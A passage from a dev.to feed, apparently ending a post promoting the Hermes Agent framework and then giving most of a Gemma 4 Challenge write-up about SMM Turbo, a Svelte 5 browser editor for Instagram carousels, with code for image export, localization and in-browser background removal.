&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhybrid-architecture.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhybrid-architecture.webp" title="Hermes Hybrid Architecture" alt="Hybrid architecture of an AI agent with a local script and cloud API" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The essence of the approach is geniusly simple. The Hermes Agent script itself (which weighs a few megabytes) runs &lt;strong&gt;locally&lt;/strong&gt; on your computer. It has full access to the terminal and monitors your file system.&lt;/p&gt;

&lt;p&gt;But to "think" and make decisions, it instantly turns to super-fast &lt;strong&gt;cloud models&lt;/strong&gt; (e.g., Groq or Gemini API) via API. &lt;/p&gt;

&lt;p&gt;This gives an ideal combination: zero load on your RAM, cosmic speed of the cloud, and full, secure control over local processes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/pressable-mcp-gemini-cli/" rel="noopener noreferrer"&gt;Pressable MCP i Gemini CLI: AI-Managed Hosting in Linux&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Conclusion: The Era of Open Agents
&lt;/h2&gt;

&lt;p&gt;We are on the threshold of fundamental changes in development. Open frameworks like Hermes democratize artificial intelligence. They turn ordinary "conversationalists" into full-fledged digital engineers. &lt;/p&gt;

&lt;p&gt;Instead of spending hours on routine coding or writing automation scripts, you can delegate this to an autonomous system. The future belongs to those who learn to manage agents, not just write them prompts. &lt;/p&gt;

&lt;p&gt;Want to experiment with this technology firsthand and launch your first agent? Visit the official &lt;a href="https://hermes-agent.nousresearch.com/" rel="noopener noreferrer"&gt;Hermes Agent&lt;/a&gt; website. &lt;br&gt;
Read the documentation and join the open AI revolution! &lt;/p&gt;

&lt;p&gt;And what do you think, can such autonomous agents completely replace junior developers in the next two years? Share your thoughts in the comments below!👇&lt;/p&gt;

</description>
      <category>hermesagentchallenge</category>
      <category>devchallenge</category>
      <category>agents</category>
      <category>webdev</category>
    </item>
    <item>
      <title>SMM Turbo: Hybrid AI Instagram Editor via Gemma 4</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Sat, 16 May 2026 20:25:25 +0000</pubDate>
      <link>https://dev.to/digital-abetka/smm-turbo-hybrid-ai-instagram-editor-via-gemma-4-5d7o</link>
      <guid>https://dev.to/digital-abetka/smm-turbo-hybrid-ai-instagram-editor-via-gemma-4-5d7o</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-gemma-2026-05-06"&gt;Gemma 4 Challenge: Build with Gemma 4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;I developed &lt;strong&gt;SMM Turbo&lt;/strong&gt; - a blazing-fast, completely free graphic editor for creating Instagram carousels that works directly in the browser. &lt;/p&gt;

&lt;p&gt;Instead of traditional &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;, SMM Turbo uses a DOM-based architecture with Svelte 5 runes for state management. But its real superpower is the &lt;strong&gt;Hybrid AI Co-Pilot&lt;/strong&gt;, which combines local in-browser neural networks (for background removal) and cloud-based LLMs to completely automate the SMM workflow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Live Project: &lt;a href="https://smm.shcho-i-yak.pp.ua" rel="noopener noreferrer"&gt;https://smm.shcho-i-yak.pp.ua&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;GitHub Repository: &lt;a href="https://github.com/bodikinf/smm-turbo-open" rel="noopener noreferrer"&gt;https://github.com/bodikinf/smm-turbo-open&lt;/a&gt; &lt;em&gt;(Make sure to open it!)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Used Gemma 4
&lt;/h2&gt;

&lt;p&gt;To create a truly intelligent "SMM Strategist", I integrated the &lt;strong&gt;Gemma 4 31B&lt;/strong&gt; model via the Google Generative Language API. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Gemma 4 31B?&lt;/strong&gt; Generating a cohesive, conversion-focused 5-slide marketing carousel (Hook, Pain, Solution, Proof, CTA) requires deep reasoning and high context retention. Smaller models often lose the marketing context, but the 31B model handles complex instructional prompts flawlessly, delivering ready-to-publish strategies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical Challenge Overcome:&lt;/strong&gt;&lt;br&gt;
Because the 31B model takes around 12-15 seconds to generate a highly detailed marketing structure, it consistently hit the strict 10-second serverless timeout limit on my hosting (resulting in 502 Bad Gateway errors). &lt;/p&gt;

&lt;p&gt;To solve this, I bypassed heavy official SDKs and implemented a native &lt;code&gt;fetch&lt;/code&gt; request within an &lt;strong&gt;Edge Function&lt;/strong&gt; (&lt;code&gt;runtime: 'edge'&lt;/code&gt;). This extended the timeout limit to 30 seconds and drastically reduced the memory footprint, allowing the Gemma 4 31B model to unleash its full reasoning capabilities without timeouts.&lt;/p&gt;



&lt;p&gt;&lt;em&gt;But let's start from the beginning. Here is the full story of how SMM Turbo was born and how it works under the hood...&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Hello. 👋 If you work in marketing, run your own business, or develop your personal brand, you know how much time creating visual content takes. Photoshop is too "heavy", expensive, and complicated for daily tasks. And popular online services like Canva are becoming increasingly overloaded with unnecessary features and require a paid subscription for the simplest tools.&lt;/p&gt;

&lt;p&gt;That's why I decided to take matters into my own hands. I developed my own &lt;strong&gt;graphic editor for creating Instagram carousels&lt;/strong&gt;, which works directly in the browser, uses the power of artificial intelligence, and is completely free. &lt;/p&gt;

&lt;p&gt;Today, I'll tell you the story of creating &lt;strong&gt;SMM Turbo&lt;/strong&gt;. We'll take a look "under the hood", explore the magic of the latest Svelte 5, break down in-browser artificial intelligence, and learn how to create a cool tool for SMM specialists from scratch. Let's go. 🚀&lt;/p&gt;
&lt;h2&gt;
  
  
  🛠 Why I decided to write my own graphic editor for creating Instagram carousels?
&lt;/h2&gt;

&lt;p&gt;Creating carousels for Instagram is a very specific task. You need to keep the overall visual style in mind, seamlessly move elements between slides, and quickly export everything in the correct format with optimized weight. &lt;/p&gt;

&lt;p&gt;Most existing solutions didn't give me the speed I needed. So, I formed &lt;strong&gt;three main requirements&lt;/strong&gt; for my future product:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Lightning-fast speed.&lt;/strong&gt; No long uploads or lags when dragging layers. The interface must respond instantly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI assistant at hand.&lt;/strong&gt; I wanted AI to not just be "for show", but really help generate ideas, texts, and cut out the background right on the canvas.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Free and accessible.&lt;/strong&gt; The tool must work in any browser without installing "heavy" software on a PC.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To implement this ambitious plan, I chose the &lt;strong&gt;SvelteKit&lt;/strong&gt; framework (with the latest Svelte 5). Its compiled nature and new reactive "runes" allowed me to create an extremely complex interface without losing productivity.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/svelte-5-ecosystem-review/" rel="noopener noreferrer"&gt;Overview of the Svelte 5 ecosystem: What's new and why you should switch&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  🏗 Architecture: DOM instead of Canvas
&lt;/h2&gt;

&lt;p&gt;If you've ever been interested in developing graphic editors, you know that the standard approach is to use HTML5 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; or special libraries like Fabric.js or Konva. But I took a different, somewhat rebellious path 🐧.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;SMM Turbo&lt;/strong&gt;, the working area is ordinary HTML elements (&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;) that are positioned absolutely using &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; coordinates. &lt;/p&gt;

&lt;p&gt;Why so? Because &lt;strong&gt;CSS is a superpower!&lt;/strong&gt; 🦸‍♂️ &lt;/p&gt;

&lt;p&gt;Rendering through DOM allowed me to implement incredibly complex typography in just a few lines of code, instead of writing complex math for drawing pixels on Canvas. &lt;/p&gt;

&lt;p&gt;Here's what regular CSS gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Gradient text:&lt;/strong&gt; Using &lt;code&gt;-webkit-background-clip: text&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stroke (outline):&lt;/strong&gt; Works through &lt;code&gt;-webkit-text-stroke&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shadows and glow:&lt;/strong&gt; Elementary &lt;code&gt;drop-shadow&lt;/code&gt; and &lt;code&gt;text-shadow&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Text bending along a circle:&lt;/strong&gt; Implemented by breaking the text into separate &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; elements using &lt;code&gt;transform: rotate(...) translateY(...)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But how do you save the finished picture then? That's where the &lt;code&gt;html-to-image&lt;/code&gt; library comes in.&lt;/p&gt;

&lt;p&gt;Here's what my script for exporting to &lt;code&gt;+page.svelte&lt;/code&gt; looks like, which takes a "screenshot" of the DOM node, packs the slides into an archive using &lt;code&gt;JSZip&lt;/code&gt;, and converts them "on the fly":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
    &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;canvasWidth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;canvasHeight&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;scale(1)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;transformOrigin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;top left&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; 
    &lt;span class="na"&gt;pixelRatio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="na"&gt;cacheBust&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; 
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Draw Canvas from DOM&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;toCanvas&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Save in the selected format (WebP/JPEG) with the desired quality&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dataUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exportFormat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;qualityDecimal&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;capturedImages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Pack all slides into a ZIP archive&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;zip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;JSZip&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;capturedImages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;base64Data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;img&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nx"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`smm-slide-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.webp`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;base64Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generateAsync&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;blob&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Thanks to this, we get perfect text quality, flexibility of CSS filters, and fast export of the entire carousel.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-editor-interface.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-editor-interface.webp" title="SMM Turbo working area: flexible typography settings and layers" alt="SMM Turbo editor interface with tools" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🌍 Multilingualism with Runes: On-the-Fly Localization
&lt;/h2&gt;

&lt;p&gt;As the project expanded, there was a need to add an English version of the interface and landing page to attract an international audience. In the React or Vue ecosystem, you'd typically install heavy libraries like &lt;code&gt;i18next&lt;/code&gt; for this. But in Svelte 5, we can do it much more elegantly thanks to "runes".&lt;/p&gt;

&lt;p&gt;I created a simple localization service based on the reactive &lt;code&gt;$state&lt;/code&gt;, which instantly repaints the entire interface when the language changes, without resetting any unsaved changes on the carousel canvas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/lib/i18n/i18n.svelte.ts&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;I18nService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;locale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;$state&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;uk&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Reactive language state&lt;/span&gt;

    &lt;span class="nf"&gt;t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;translations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locale&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nf"&gt;setLocale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newLocale&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locale&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newLocale&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;smm_lang&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;newLocale&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i18n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;I18nService&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because &lt;code&gt;locale&lt;/code&gt; is a &lt;code&gt;$state&lt;/code&gt;, any component using &lt;code&gt;i18n.t('key')&lt;/code&gt; will instantly update as soon as the language changes. This also made it painless to set up automatic language detection: if a person enters the editor from an English or German browser, the script immediately reads &lt;code&gt;navigator.language&lt;/code&gt; and automatically turns on the English version of the interface.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-i18n-runes.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-i18n-runes.webp" title="Implementation of reactive multilingualism using Svelte 5 runes" alt="Svelte 5 localization service code" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🪄 AI Magic: In-Browser background removal
&lt;/h2&gt;

&lt;p&gt;A cool graphic editor for creating Instagram carousels in 2026 can't exist without built-in artificial intelligence. &lt;/p&gt;

&lt;p&gt;Usually, services ask for money for background removal, because they send your photo to remote powerful servers with GPU. I decided to make this process local and free!&lt;/p&gt;

&lt;p&gt;I used the incredible &lt;code&gt;@imgly/background-removal&lt;/code&gt; library. This is a real revolution! The neural network is loaded in WebAssembly (WASM) format directly into your browser.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleRemoveBackground&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;isRemovingBg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;imgly&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@imgly/background-removal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;removeBg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;imgly&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removeBackground&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// AI works directly on the user's device&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;imageBlob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;removeBg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createObjectURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;imageBlob&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;saveState&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed to remove background.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;isRemovingBg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You just select a photo, click the "Remove Background" button, and your computer perfectly cuts out the main object in a couple of seconds. No limits, subscriptions, or transferring confidential photos to third-party servers.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/integrate-ai-groq-api/" rel="noopener noreferrer"&gt;How to integrate AI into your web application using Groq API&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  🤖 Hybrid AI Co-Pilot: Combining Gemma 4 and Llama 3.1
&lt;/h2&gt;

&lt;p&gt;In addition to working with images, I added a powerful text AI assistant. But during development, I faced a classic problem: quick tasks (like idea generation) require minimal latency, while deep analytics (strategy development) require powerful "heavy" models that take longer to think.&lt;/p&gt;

&lt;p&gt;Therefore, I created a &lt;strong&gt;Hybrid Engine&lt;/strong&gt; that automatically routes requests:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-hybrid-ai-interface.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsmm-turbo-hybrid-ai-interface.webp" title="AI Co-Pilot interface with mode selection and model status" alt="Hybrid AI Co-Pilot interface" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
